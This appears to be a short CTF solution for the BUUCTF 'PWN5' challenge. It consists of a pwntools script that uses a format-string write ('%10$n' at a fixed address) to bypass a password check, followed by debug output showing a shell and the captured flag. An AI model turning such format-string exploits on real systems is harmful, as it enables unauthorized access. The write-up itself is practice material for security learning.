BUUCTF - [第五空间2019 决赛]PWN5

from pwn import *
context(arch='i386',os='linux',log_level='debug',binary='pwn5')
io=remote('node3.buuoj.cn',28518)
elf=ELF('./pwn5')
io.recvuntil('your name:')
unk_addr=0x0804C044
payload=p32(unk_addr)+'%10$n'
io.sendline(payload)
io.recvuntil('your passwd:')
io.sendline(str(4))
io.interactive()

[DEBUG] Received 0x64 bytes:
    'bin\n'
    'boot\n'
    'dev\n'
    'etc\n'
    'flag\n'
    'home\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'media\n'
    'mnt\n'
    'opt\n'
    'proc\n'
    'pwn\n'
    'root\n'
    'run\n'
    'sbin\n'
    'srv\n'
    'sys\n'
    'tmp\n'
    'usr\n'
    'var\n'
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{8afa59a9-9923-469a-b35a-818637bb996e}\n'
flag{8afa59a9-9923-469a-b35a-818637bb996e}